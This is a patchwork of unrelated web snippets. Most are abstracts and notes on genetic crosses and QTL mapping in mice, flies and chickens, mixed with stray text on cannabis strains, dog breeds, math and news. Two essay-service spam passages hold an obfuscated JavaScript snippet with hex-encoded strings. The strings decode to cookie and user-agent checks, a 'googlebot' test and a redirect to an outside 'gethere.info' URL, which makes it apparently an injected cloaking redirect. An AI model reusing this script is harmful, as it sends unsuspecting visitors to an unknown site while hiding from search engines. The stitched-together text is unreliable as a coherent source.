The Collaborative Cross (CC) represents a large collection of new inbred mouse strains created by the mouse genetics community aimed at revolutionizing the study of complex genetic traits and diseases. Derived from classical inbred strains and wild-derived strains, the CC captures nearly 90% of known genetic variation in laboratory mice, far surpassing more commonly used inbred strains. The CC is a tool to integrate studies of gene function and gene networks, allowing the prediction and testing of biological models based on the whole organism, critical to the development of personalized therapies for humans. Genome Research has published three articles online in-advance utilizing strains from the emerging Collaborative Cross mouse strains.. 1. Collaborative Cross strains facilitate mapping of causative loci. In this work, Aylor and colleagues performed an experiment called the "the pre-CC study," the first genetic data and analysis from the emerging strains of the CC. Their investigation ...
Six congenic lines containing B complex recombinants R1 = B-F/B-L24, B-G23; R2 = B-F/B-L2, B-G23; R3 = B-F/B-L2, B-G23; R4 = B-F/B-L2, B-G23; R5 = B-F/B-L21, B-G19; and R6R6 = B-F/B-L21, B-G23 were tested individually for antibody response against SRBC. R2, R3 and R4 arose from independent recombination events but are serologically identical. Each B complex recombinant was crossed to inbred Line UCD 003 (B17B17). After ten backcross generations to the inbred line, B complex heterozyogtes were mated to produce recombinant homozygous lines having 99.9% background gene uniformity. Birds of each line were injected intravenously with 1 mL of 2.5% SRBC at four and 11 weeks of age to induce primary and secondary antibody responses, respectively. Blood samples were collected 7 days post-injection. Microtiter methods were used to assay total anti-SRBC and mercaptoethanol-resistant (MER) serum antibody. All antibody titers were evaluated by least squares ANOVA with hatch and B recombinant genotype as main
For instance they could do some screens for temperature-sensitive mutants (huge, massive saunas in action). Imagine the figures in the papers to go along with this sort of experiments. Some allele crossing experiments in search of synthetic lethality - that would be great as well. With photos of F0 and F1. Auxotrophic humans with plasmids complementing their deficiency as useful tools - complementation experiments will be particularly cruel - no complementation - well, tough luck ...
There is no general technique, but there are some simple principles. One is to study the tail behavior of $f$ by comparing it to tractable functions.. By definition, the expectation is the double limit (as $y$ and $z$ vary independently). $$E_{y,z}[f] = \lim_{y\to-\infty,z\to\infty}\int_y^z x f(x) dx = \lim_{y\to-\infty}\int_y^0 x f(x) dx+ \lim_{z\to\infty}\int_0^z x f(x) dx.$$. The treatment of the two integrals at the right is the same, so lets focus on the positive one. One behavior of $f$ that assures a limiting value is to compare it to the power $x^{-p}$. Suppose $p$ is a number for which $$\liminf_{x\to\infty} x^p f(x)\gt 0.$$ This means there exists an $\epsilon\gt 0$ and an $N\gt 1$ for which $x^p f(x) \ge \epsilon$ whenever $x\in[N,\infty)$. We may exploit this inequality by breaking the integration into the regions where $x\lt N$ and $x \ge N$ and applying it in the second region:. $$\eqalign{ \int_0^z x f(x) dx &=\int_0^{N} x f(x) dx + \int_{N}^z x f(x) dx \\ &=\int_0^{N} x f(x) dx ...
J:79580 Le Bras S, Cohen-Tannoudji M, Guyot V, Vandormael-Pournin S, Coumailleau F, Babinet C, Baldacci P, Transcript map of the Ovum mutant (Om) locus: isolation by exon trapping of new candidate genes for the DDK syndrome. Gene. 2002 Aug 21;296(1-2):75 ...
Im trying to teach my self Power of Marcus Miller. Im wondering what to do when there are crosses instead of notes. It sounds like he is muting...
This is a question from a practice exam for our exam tomorrow morning. Please help I have been staring at this for an hour and cant figure it out ...
Obviously Im fucked off. But accepting. Theres nothing else to be. Theres no point stressing too much, as even when I get out, its all got to be repeated, so its not like there was a brilliant light at the end of the tunnel ...
n) the reappearance of a characteristic in an organism after several generations of absence; return of a trait after a period of absence ...
TY - JOUR. T1 - A model selection approach for the identification of quantitative trait loci in experimental crosses, allowing epistasis. AU - Manichaikul, Ani. AU - Moon, Jee Young. AU - Sen, Śaunak. AU - Yandell, Brian S.. AU - Broman, Karl W.. PY - 2009/3. Y1 - 2009/3. N2 - The identification of quantitative trait loci (QTL) and their interactions is a crucial step toward the discovery of genes responsible for variation in experimental crosses. The problem is best viewed as one of model selection, and the most important aspect of the problem is the comparison of models of different sizes. We present a penalized likelihood approach, with penalties on QTL and pairwise interactions chosen to control false positive rates. This extends the work ofBroman and Speed to allow for pairwise interactions among QTL. A conservative version of our penalized LOD score provides strict control over the rate of extraneous QTL and interactions; a more liberal criterion is more lenient on interactions but seeks ...
Simple Sequence Length Polymorphisms (SSLPs) are used as genetic markers with polymerase chain reaction (PCR). An SSLP is a type of polymorphism: a difference in DNA sequence amongst individuals. SSLPs are repeated sequences over varying base lengths in intergenic regions of deoxyribonucleic acid (DNA). Variance in the length of SSLPs can be used to understand genetic variation between two individuals in a certain species. An example of the usage of SSLPs (microsatellites) is seen in a study by Rosenberg et al., where SSLPs were used to cluster different continental races. The study was critical to Nicholas Wades New York Times Bestseller, Before the Dawn: Recovering the Lost History of Our Ancestors. Rosenberg studied 377 SSLPs in 1000 people in 52 different regions of the world. By using PCR and cluster analysis, Rosenberg was able to group individuals that had the same SSLPs . These SSLPs were extremely useful to the experiment because they do not affect the phenotypes of the individuals, ...
We used F34 and F39-43 generations of a LG/J x SM/J AIL to perform GWAS, SNP heritability estimates, genetic correlations, replication and mega-analysis. We had previously performed several GWAS using a sparse marker set in the F34 cohort. In this study we used a denser set of SNPs, obtained using GBS, to reanalyze the F34 cohort. We found 109 significant loci, 36 of which had not been identified in our prior studies using the sparse marker set. We used a new, previously unpublished F39-43 cohort for GWAS and showed that genetic correlations were high for the subset of traits that were measured in both cohorts. Despite this, we found that many loci were not replicated between cohorts, even when we used a relatively liberal definition of replication (p , 0.05). The failure to replicate some of our findings was not predicted by our power simulations. Therefore, we performed an analysis to determine whether Winners Curse and study-specific heterogeneity could account for the lower than expected ...
TY - JOUR. T1 - Methods of increasing short term response to full-sib family recurrent selection in small populations. AU - Mackay, I. J.. AU - Caligari, P. D.S.. PY - 2000. Y1 - 2000. N2 - Accelerated recurrent selection (ARS), in which selection is carried out on the predicted value of the progeny rather than on the observed performance of the parents, has been proposed as a method of increasing response to selection and of reducing cycle time. ARS schemes based on test cross evaluation of full-sib families have been compared by stochastic computer simulation. The difference in genetic and economic time scales is emphasised, with the economic long term (21 years) being only 21 or fewer cycles of selection. ARS schemes are shown frequently to offer improvements over standard recurrent selection methods under these circumstances, since they allow more cycles of selection in a given time frame. Schemes with very low effective population sizes often give the greatest response to selection over the ...
Wilson, B D.; Sternick, J L.; Yoshizawa, Y; Katzenstein, A; and Moore, V L., "Experimental murine hypersensitivity pneumonitis: multigenic control and influence by genes within the i-b subregion of the h-2 complex." (1982). Subject Strain Bibliography 1982. 3795 ...
Read "Transmission Ratio Distortion, Sterility, and Control of the t-Complex Function in Sperm, Russian Journal of Genetics" on DeepDyve, the largest online rental service for scholarly research with thousands of academic publications available at your fingertips.
Epistasis-nonlinear genetic interactions between polymorphic loci-is the genetic basis of canalization and speciation, and epistatic interactions can be used to infer genetic networks affecting quantitative traits. However, the role that epistasis plays in the genetic architecture of quantitative traits is controversial. Here, we compared the genetic architecture of three Drosophila life history traits in the sequenced inbred lines of the Drosophila melanogaster Genetic Reference Panel (DGRP) and a large outbred, advanced intercross population derived from 40 DGRP lines (Flyland). We assessed allele frequency changes between pools of individuals at the extremes of the distribution for each trait in the Flyland population by deep DNA sequencing. The genetic architecture of all traits was highly polygenic in both analyses. Surprisingly, none of the SNPs associated with the traits in Flyland replicated in the DGRP and vice versa. However, the majority of these SNPs participated in at least one ...
WKY and LEW strains have been widely studied for their differential susceptibility to experimental glomerulonephritis. In particular these strains show strong variations in the macrophage activation. This dataset measures expression of macrophages in backcross population of WKY DC and LEW rats and includes a few control origninating from the WKY DC strain.
Fly culture and transgenic lines. Drosophila melanogaster Canton S-5 (CS-5), the parental wild-type strain from which acj6 mutants were derived (McKenna et al., 1989), were reared at 18 or 25°C on cornmeal, sucrose, yeast media.. The olfactory neuron-specific P [Gal4] driver line GH86 (Heimbeck et al., 1999) and the UAS-Acj6 (1,3,4) and UAS-Acj6 (1,4) (Certel et al., 2000) responder lines were obtained from Dr. W. A. Johnson (University of Iowa). UAS-Acj6 (1,3,4) (chromosome II) and UAS-Acj6 (1,4) (chromosome III) transgenic lines (Certel et al., 2000) were recombined with Cha-Gal4 lines (chromosome III or II) by standard genetic crosses using second or third chromosome balancers,CyO or TM3. The GH86 olfactory driver was recombined with either UAS-Acj6 (1,3,4) or UAS-Acj6 (1,4) transgenic lines, and male progeny were used for ChAT assay (see below).. A fluorescent cholinergic reporter line marking essentially all known cholinergic neurons consisted of a 7.4 kb Cha-Gal4 driver line (19B) ...
Each mouse in the pre-CC experiment was genotyped using a highdensity SNP array. Most of the genotyping was completed using test arrays. These arrays were developed as an intermediate step in the process of developing the Mouse Diversity array (Yang et al. 2009). There are two versions of the test array: A-array and B-array. The A-array includes 294,878 SNP assays, and the B-array contains 287,687 additional SNP assays. We determined that 181,752 (A-array) and 180,976 (B-array) SNP assays performed well and targeted loci that are polymorphic among the eight founder strains. There is no overlap between the two arrays, but the genome coverage is complete and uniformly distributed in both. In some cases, animals from the same phenotyping arm were genotyped with different arrays. Integration was achieved by merging the two sets and using an HMM to impute haplotypes at loci with missing genotypes. Due to the high marker density, this procedure was very effective. The exercise behavior and ...
A case of hybrid sterility in Drosophila paulistorum is due to an incompatibility of the Y chromosome of certain strains with the cytoplasm of other strains. The constitution of the cytoplasm responsible for the sterility is not, however, independent of the chromosomal genes. After seven backcrosses of the hybrid females to males of the same strain, fertile male progenies are finally obtained. ...
Hybrid Stain Crosses: Most cannabis seeds and medicine available today are from hybrids - crosses of Sativa and Indica varieties. This allows cultivators to enjoy and select for various desired characteristics of growth, appearance and effect. The genetics and hence the effects of one lineage will usually be dominant. For example: Indica-dominant crosses are for pain relief, with the sativa component helping with energy and activity levels. Sativa-dominant crosses are good for stimulating appetite, with the indica component helping to reduce body pain and increase relaxation. Cannabis has been proven helpful in relieving the symptoms of thousands of conditions, including: Pain from various ailments and ...
Abstract: This thesis studies a new method to estimate the probability that a Brownian bridge crosses a concave boundary. We show that a Brownian bridge crosses a concave boundary if and only if its least concave majorant crosses said concave boundary. As such, we can equivalently simulate the least concave majorant of a Brownian bridge in order to estimate the probability that a Brownian bridge crosses a concave boundary. We apply these theoretical results to the problem of estimating joint confidence intervals for a true CDF at every point. We compare this method to a traditional method for estimating joint confidence intervals for the true CDF at every point which is based upon the limiting distribution of what is often called the Kolmogorov-Smirnov distance, the sup-norm distance between the empirical and true CDFs. We indicate the disadvantages of the traditional approach and demonstrate how our approach addresses these weaknesses. ...
The beans from the mixed plot show a nice bell-shaped distribution (figure). Similarly, the beans harvested from pure lines grown in separate garden plots also show nice bell-shaped distributions, though the means differ for each pure line. The key difference is in the results of selective breeding for heavier (or lighter) beans, i.e., planting a new crop using only the heaviest (or lightest) beans: selection shifts the distribution of seed weights in the mixed plot, but has no significant effect on the distribution of seed weights produced by a pure line.. Within just a few decades, neo-Darwinians such as Ford (1938) dismissed Johannsens results as a logical necessity, as though the experiments proved nothing. Johannsens studies had changed our understanding so profoundly that Ford was unable to imagine how scientists (mis)understood the world before.. I wont ask you to do what Ford could not, which is to forget genetics.. Instead, I would like to ask you to join me in imagining a different ...
Each QTL identified in the crosses of inbred mice generally spans a large genomic distance, sometimes almost an entire chromosome. In complex phenotypes such as atherosclerosis, where a large number of genes are involved, transferring a target region onto an inbred background and creating congenic line is a powerful step toward identifying causative genes. Here we have analyzed the effect of the atherosclerosis QTL Aath4 by establishing a congenic line (Aath4aDBA/DBA), where the 5′ region of DBA Aath4 was backcrossed onto a 129S6-Apoe−/− background. As expected, the resulting Aath4aDBA/DBA males had significantly larger plaques, and macrophages isolated from these mice exhibited reduced efferocytosis as a consequence of allele-specific decrease in MERTK expression. Together, our results provide strong evidence that the increased susceptibility to atherosclerosis determined by the DBA allele of Aath4 is, at least in part, due to decreased MERTK expression.. MERTK is known to play a ...
SM/J mice carry a number of rare polymorphic alleles and are often matched to other strains for quantitative trait locus analysis. These mice are susceptible to diet-induced obesity and diet-induced atherosclerosis. SM/J mice exhibit a hyperresponsiveness to B cell mitogens. Small in size at birth and through weaning, SM/J mice attain a normal body weight as they age.
You and your partner should first scan all your plates to determine whether or not your crosses are scorable. If you have males or only phenotypicaly WT and Unc progeny, you should not try to analyze that plate for linkage. Why not? If you have no males and some dumpy progeny, you may score that plate in this linkage analysis. Look carefully at all the scorable plates and try to find double mutants. If you see no (or only very rare) double mutant (du/du) progeny on one of the plates, it indicates that your unknown dpy mutation is on the same chromosome or linkage group as that known unc mutation. Why? What might it mean if none of the plates of progeny lack double mutants? (Hint: there are 5 autosomes and we only tested 4 of them for linkage.) Since we know on which autosome each of the reference unc mutations are located, you should be able to figure out on which chromosome your unknown dpy mutation is found ...
Watson, J; Riblet, R; and Taylor, B A., "The response of recombinant inbred strains of mice to bacterial lipopolysaccharides." (1977). Subject Strain Bibliography 1977. 3712 ...
If you want to gain more trust in paying for essays online from bestessay4u.net explore the critical reviews, consumer reviews and visit the web-site to check out various services.. var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== ...
Our company is dedicated in building long-term marriages by means of users, offering them creating products as soon as they desire them all. Thats precisely why a number of us acquire apersonalized, private approachto every structure we obtain.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== ...
Handling Arabidopsis plants: growth, preservation of seeds, transformation, and genetic crosses. Rivero, L., Scholl, R., Holomuzki, N., Crist, D., Grotewold, E., and Brkljacic, J. (2014) Methods Mol Biol 1062: 3-25.
Be Unique. Shop crosses laptop cases created by independent artists from around the globe. We print the highest quality crosses laptop cases on the internet.
What makes a dominant gene be labeled as such is when it is the characteristic of that gene is the one that presents itself in offspring. It is dominant because it "outweighs" the recessive trait. ...
Assessment of the degree to which gene expression is additive and heritable has important implications for understanding the maintenance of variation, adaptation, phenotypic divergence, and the mapping of genotype onto phenotype. We used whole-genome transcript profiling using Agilent long-oligonucleotide microarrays representing 12,017 genes to demonstrate that gene transcription is pervasively nonadditive in Drosophila melanogaster. Comparison of adults of two isogenic lines and their reciprocal F1 hybrids revealed 5820 genes as significantly different between at least ...
f(x)-f(a), is not less than ,f(x-a),. Its not like f is linear or something. ,f(x)-f(a),=,(f(x)-f(a))/(x-a),*,x-a,. Now to get a d, you need a bound on ,(f(x)-f(a))/(x-a), near x=a. Hint: doesnt that look like a difference quotient ...
Negatively stained purified virions of parental virus strains and hybrid progenies. CPXV-NOHI (A), MVA-HANP (B), Rec 1 (C), Rec 2 (D), Rec 3 (E), Rec 3a (F), Re
data diallel; label time = Flowering time in days; do p = 1 to 8; do m = 1 to 8; if (m ne p) then do; sym = trim(left(min(m,p))) ,, , ,, trim(left(max(m,p))); do block = 1 to 2; input time @@; output; end; end; end; end; datalines; 14.4 16.2 27.2 30.8 17.2 27.0 18.3 20.2 16.2 16.8 18.6 14.4 16.4 16.0 15.4 16.5 14.8 14.6 18.6 18.6 15.2 15.3 17.0 15.2 14.4 14.8 10.8 13.2 31.8 30.4 21.0 23.0 24.6 25.4 19.2 20.0 29.8 28.4 12.8 14.2 13.0 14.4 16.2 17.8 11.4 13.0 16.8 16.3 12.4 14.2 16.8 14.8 12.6 12.2 9.6 11.2 14.6 18.8 12.2 13.6 15.2 15.4 15.2 13.8 18.0 16.0 10.4 12.2 13.4 20.0 20.2 23.4 14.2 14.0 18.6 14.8 22.2 17.0 14.3 17.3 9.0 10.2 11.8 12.8 14.0 16.6 12.2 9.2 13.6 16.2 13.8 14.4 15.6 15.6 15.6 11.0 13.0 9.8 15.2 17.2 10.0 11.6 17.0 18.2 20.8 20.8 20.0 17.4 17.0 12.6 13.0 9.8 ...
Use the West nomogram by drawing a straight line between the height and weight of a child. This line crosses the surface area column and gives an estimation of the body surface area for this child,...
Organizational success hinges on effective execution, and effective execution is a matter of ability and agility. New research from Strategy& shows that there are two key levers to pull in building an able, agile organization.
Let T-n (R) be the upper triangular matrix ring over a unital ring R. Suppose that B : Tn (R) x Tn (R) is a biadditive map such that B(X, X) X = X B(X, X) for ...
Determine all binery cyclic codes of length 5. Note: To find all cyclic codes of length n, find all ideals in B[x]/x^2+1 Note: If 1 is an Ideal (I) then R = I. Example: n=2 R=B[x]/x^2+1, x^2=1 R={o,1,x,1+x} Ideals |0|.
Considering Ive "lost a couple" of readers over the last seven months this thing has been active (yes, they let me know about it, too!) Im surprised and pleased so many enjoy my meandering ramblings and scattered gaming thoughts ...
According to Kundalini Yoga, there are six chakras in number. Kundalini awakening takes place when the coiled up energy crosses all chakras and reaches to Sahasrar, the last chakra. For awakening of Kundalini, one must understand the chakras and what they signifies.
Oliva-Olivera, Wilfredo; Coín-Aragüez, Leticia; Lhamyani, Said; Salas, Julián; Gentile, Adiana-Mariel; Romero-Zerbo, Silvana-Yanina; Zayed, Hatem; Valderrama, J F; Tinahones, Francisco José; Bekay, Rajaa E L ...
Oliva-Olivera, Wilfredo; Coín-Aragüez, Leticia; Lhamyani, Said; Salas, Julián; Gentile, Adiana-Mariel; Romero-Zerbo, Silvana-Yanina; Zayed, Hatem; Valderrama, J F; Tinahones, Francisco José; Bekay, Rajaa E L ...
Myopia development is characterised by an increased axial eye length. Therefore, identifying factors that influence eye size may provide new insights into the aetiology of myopia. In humans, axial length is positively correlated to height and weight, and in mice, eye weight is positively correlated with body weight. The purpose of this study was to examine the relationship between eye size and body size in chickens from a genetic cross in which alleles with major effects on eye and body size were segregating. Chickens from a cross between a layer line (small body size and eye size) and a broiler line (large body and eye size) were interbred for 10 generations so that alleles for eye and body size would have the chance to segregate independently. At 3 weeks of age, 510 chicks were assessed using in vivo high resolution A-scan ultrasonography and keratometry. Equatorial eye diameter and eye weight were measured after enucleation. The variations in eye size parameters that could be explained by ...
A second chromosome line of Drosophila melanogaster (Symbol: T-007) has previously been shown to be responsible for the induction of male recombination. In the present investigation, the genetic elements responsible for this phenomenon have been partially identified and mapped. A major element (Symbol: Mr, for M ale recombination) locates on the second chromosome between the pr (2L-54.4) and c (2R-75.5) loci and is responsible for the large majority of male recombination. In addition, there appear to be "secondary elements" present which have the ability to induce male recombination in much reduced frequencies and which are diluted out through successive backcross generations when Mr is removed by recombination. The possible nature of these "secondary elements" is discussed.. ...
Due to the absence of accurate pedigree information, it has not been possible to implement genetic evaluations for crossbred cattle in African small-holder systems. Genomic selection techniques that do not rely on pedigree information could, therefore, be a useful alternative. The objective of this study was to examine the feasibility of using genomic selection techniques in a crossbred cattle population using data from Kenya provided by the Dairy Genetics East Africa Project. Genomic estimated breeding values for milk yield were estimated using 2 prediction methods, GBLUP and BayesC, and accuracies were calculated as the correlation between yield deviations and genomic breeding values included in the estimation process, mimicking the situation for young bulls. The accuracy of evaluation ranged from 0.28 to 0.41, depending on the validation population and prediction method used. No significant differences were found in accuracy between the 2 prediction methods. The results suggest that there is ...
QUANTITATIVE traits are affected by many genes that act singly and in interaction with each other. Epistasis, the interaction between genes at different loci, may exert important effects on (1) the dynamic of evolving populations (Cheverud and Routman 1996), (2) changes of genetic variances caused by long-term selection (Carlborg et al. 2006) or by a population bottleneck (Goodnight 1987), and (3) heterosis (Doebley et al. 1995; Yu et al. 1997; Li et al. 2001; Xing et al. 2002; Hua et al. 2003; Mei et al. 2003; Syed and Chen 2005; Kusterer et al. 2007; Melchinger et al. 2007a).. To detect epistatic quantitative trait loci (QTL) in conventional mapping studies with segregating populations such as recombinant inbred lines (RILs), methods have been applied to search multiple QTL simultaneously (for review see Carlborg and Haley 2004). Such multidimensional scans are hampered by the problem of multiple tests, which increases for digenic epistasis in a quadratic manner compared to tests for presence ...
In the analysis of genes contributing to disease in animal models of autoimmunity, the affected strain is usually outcrossed to another strain that does not express the phenotype being studied. Whether the genes from the unaffected or non-autoimmune strain can change the results of linkage analyses has not been directly studied. McAleer et al. (23) analyzed genes contributing to insulin-dependent diabetes in NOD mice in outcrosses to MHC-congenic NON mice and compared results to previous outcrosses with C57BL/10 mice. Background genetic influences from NON versus C57BL/10 strains were apparent, but the fact that NOD and NON are related backgrounds likely influenced some of the findings. Furthermore, the comparison was retrospective, which could have introduced another variable. In our study, we used two well-studied and unrelated normal strains, C57BL/6J and BALB/cJ, and all backcross progeny were bred and followed for disease concomitantly. Our results indicate that the genetic background of ...
The eight CC founder strains exhibited a large diversity in their response to influenza infections. Therefore, the CC will represent an ideal mouse genetic reference population to study the influence of genetic variation on the susceptibility and resistance to influenza infections which will be impo …
Looking for online definition of double backcross in the Medical Dictionary? double backcross explanation free. What is double backcross? Meaning of double backcross medical term. What does double backcross mean?
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Before you begin to write, you should objectively analyze the data collected by the whole course (combined 5 lab sections). You learned from the phenotype of the heterozygous male progeny (from the cross between N2 wild type males and the Dpy Unc hermaphrodites) which strain has the x-linked mutation. Do the data from the scoring, support that conclusion that the mutations are unlinked in this strain? Note that the expected 9:3:3:1 ratio of F2 progeny of the dihybrid selfing in this strain isnt perfect. Does that mean that the two genes responsible for the two phenotypic defects arent really on different chromosomes? Do these data better support linkage? You could do a statistical test for goodness of fit (such as a Chi square) to see if it is likely that the differences between what we observed and what we expected are due to chance and, if so, that we can accept our conclusion with more confidence. Unfortunately, the Chi square test is used with a specific kind of cross that we didnt do, so ...
The primary response of mice to ϑ-AKR antigen was measured by means of plaque assay detecting cells producing antibodies lytic for AKR thymocytes (PFC). It was found that 3 of 12 different F1 hybrids produced significantly more PFC than either parental strain. In segregating populations of C57BL/6J and DBA/2J mice, H-2 homozygotes responded like parental mice, whereas most but not all H-2 heterozygotes responded like F1 hybrids. In the F2 population 7% and in the backcross population to C57BL/6J parent 20% of H-2 heterozygotes responded like parental mice. On the basis of experimental data, a hypothesis was advanced that thre eloci in the IXth linkage group are involved in genetic control of the response to ϑ-AKR antigen. Each locus has at least two alleles, one dominant and one recessive. Dominant alleles complement each other which explains why the response to certain F1 hybrids is higher than the response of their parents. Two of three hypothetical loci are closely linked to each other as ...
A series of 15 scientific papers published this week in the journals of the Genetics Society of America (Genetics and G3: Genes,Genomes,Genetics) put North Carolina at the epicenter of a scientific resource called the Collaborative Cross. North Carolina-based genetic resources fuel big scientific progress - Read More… ...
Xin-zhuan Su is the author of this article in the Journal of Visualized Experiments: Protocol for Production of a Genetic Cross of the Rodent Malaria Parasites
Poodles crosses are rapidly gaining popularity! So lets compare the Cavapoo vs Cockapoo. What are the differences between these lovable pups?
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Heterosis in crossbred individuals. (a) Results for a low correlation of LD phase between breeds A and B (r = 0.2 for markers 1 cM apart). (b) Results for
by Rhonda Cooper For the students and residents of the Northern Village of Ile-a-la Crosse, swimming will soon become a year-round activity. The new indoor pool is in the final stages of construction and once a manager is hired, it will be open to the public.
Combining ability and gene action of yield and related characters in maize (Zea mays L.) hybrids under the conditions of Raqqa Governorate, Syria
In order to understand the effect of genetic background on the response to gene dose perturbation, we performed mRNA transcriptional profiling on 99 hemizygotic lines (Df/+) from the DrosDel project, which have hybrid genetic background of OregonR/w1118.
We looked into our storage room and found several different hard drive generations from Samsung. We used a 300 GB drive for the 2005 PC, a 400 GB model for the 2006 build, a 1 TB disk for the 2008 machine, and an updated 1 TB drives in the 2010 sy...
Obviously, there are a great many horses worldwide with three or fewer NTB crosses in their pedigrees but, realistically, only an exceedingly tiny fraction of them and their progeny stand a chance of advancement into a TB registry. So few that rather than creating a new database I think it might be more efficient for those that are indeed competing with TBs to be entered in the db here. It already includes quasi TBs such as the North American Appendix TBs (foaled 1893-1932 and registered with the JC for purposes of racing with TBs but ineligible by number of TB crosses for inclusion in the American Stud Book) and NTBs that have raced in other countries ...
I hadnt seen anything like that, and I just felt ashamed witnessing it. There was one kid specifically picked on, they only called him a word that basically meant ugly," Dilgin said. "That wasnt even the worst part. When that kid was outside of the camp they would pee and masturbate on his bed.". Dilgin said that he usually tried to be as inclusive as possible as a child growing up, but while he was abroad in Germany when he was 14 years old, he was unable to step in and prevent bullying.. "I realized you can only stop these things when you are in your own country and your own culture. You cant step in when you are in a foreign culture and youre and outsider," Dilgin said. "We were too busy protecting ourselves because we were getting made fun of also. In comparison to that kid though, ours was just like OK, this is their culture and theyre rough.". A 2005 articledescribed in great detail the bullying epidemic occurring in Germany. That article also cited a report that provided evidence ...
48% carry H gene. That means that the other 52% do not have the H dominant gene, which means that they are homozygotus recessive. From here we can find out the value of q(the frequence of h recessive gene) since hh=q^2. Using windows calculator we get q=0.7211. Since q+p=1 then p=0.2789 ...
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Every seed run at Mephisto Genetics, they like to make some crosses between their varieties. They have extra special plants going spare, and they just cant resist. There may be just a few hundred seeds made, and Mephisto Genetics dont plan to re-create
Asako Serizawas new novel is a tangle of interlocking stories about several generations of a Japanese family, beginning in 1868 and going all the way thro ...
Asako Serizawas new novel is a tangle of interlocking stories about several generations of a Japanese family, beginning in 1868 and going all the way thro ...
Summit cross in Austria. During the last Interregnum crosses in many regions were covered with yellow cloths. Interregnum is the time between two popes (after one dies and before the next one is elected).
We Found Love testo canzone cantato da Rune (X Factor): Yellow diamonds in the light And were standing side by side As your shadow crosses...
Westbound at Quincy Trail Road, Just west of Woodbine Iowa on the former IC. The giant 6 car train heads for Council Bluffs. At this point the CN parallels the CNW(UP) until it crosses over the UP at Willet about 2 miles west of Quincy Trail RD 134303
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Dear Netters, I would appreciate any information about the CAPS primers being used in crosses with No-O. Ill put together everything I get and post it back on the network. Thanks in advance, Haskell Adler ...
Life history traits such as fecundity are important to evolution because they make up components of lifetime fitness. Due to their polygenic architectures, such traits are difficult to investigate with genetic mapping. Therefore, little is known about their molecular basis. One possible way toward finding the underlying genes is to map intermediary molecular phenotypes, such as gene expression traits. We set out to map candidate quantitative trait genes for egg fecundity in the chicken by combining quantitative trait locus mapping in an advanced intercross of wild by domestic chickens with expression quantitative trait locus mapping in the same birds. We measured individual egg fecundity in 232 intercross chickens in two consecutive trials, the second one aimed at measuring brooding. We found 12 loci for different aspects of egg fecundity. We then combined the genomic confidence intervals of these loci with expression quantitative trait loci from bone and hypothalamus in the same intercross. ...
Since Darwin, researchers have made tremendous progress towards understanding how ecological, genetic and evolutionary factors acting within species lead to the evolution of reproductive isolation and ultimately the origin of new species (Coyne & Orr 2004). One problem that remains largely unresolved concerns the evolution of intrinsic postzygotic isolation. Investigating early stages in the evolution of postzygotic isolation in species, where alleles underlying postzygotic isolation are still polymorphic, is one promising approach.. Previous studies of postzygotic isolation between M. guttatus and M. nasutus have found reduced seed germination and male infertility in hybrids (Vickery 1956, 1973, 1978; Fishman & Willis 2001, 2006; Martin & Willis 2007). Vickery (1956, 1973, 1978) and Sweigart et al. (2007) provided evidence that postzygotic isolation within and among populations of both species varied geographically, though biometrical line crosses were not used to determine the genetic basis. ...
To create this landmark map, Comeron and colleagues generated recombinant advanced intercross lines (RAIL), derived from eight crosses among twelve wild-derived lines. To accurately identify crossover and noncrossover events, haplotype rather than genotype data are required, and Comeron and colleagues use a clever technique to recover haplotypes. RAIL females were individually crossed to D. simulans, and the genomes of single hybrid progeny were sequenced with Illumina technology. Reads mapping to D. simulans were removed bioinformatically to reveal a haploid, meiotically produced D. melanogaster genome. In all, over 100,000 recombination events were localized with kilobase-level precision.. Certainly, this genome-wide recombination map will empower population genetic and molecular evolutionary studies in Drosophila for years to come. However, the sheer number of events catalogued combined with the resolution at which breakpoints could be mapped facilitates a great deal more than quantifying ...
Year 01: Basic descriptive statistics and heritability measures for traits. Single-locus association and fast interval mapping for curated data sets from recombinant inbred lines. Fast empirical significance thresholds and/or permutation tests for single-locus association and fast interval mapping. Documentation and tutorials for these functions.. Year 02: Single locus association and standard interval mapping for the G10 advanced intercross. Graphic display of interval mapping results. Fast empirical significance thresholds and/or permutation tests for standard interval mapping. Data export in formats for other mapping software. Documentation and tutorials for these functions.. Year 03: Composite interval mapping for all curated data sets and empirical significance thresholds for these. Correlation of submitted traits among each other and with traits stored in the NTB. Documentation and tutorials for these functions.. Year 04: Detection and analysis of epistatic interactions between QTLs. ...
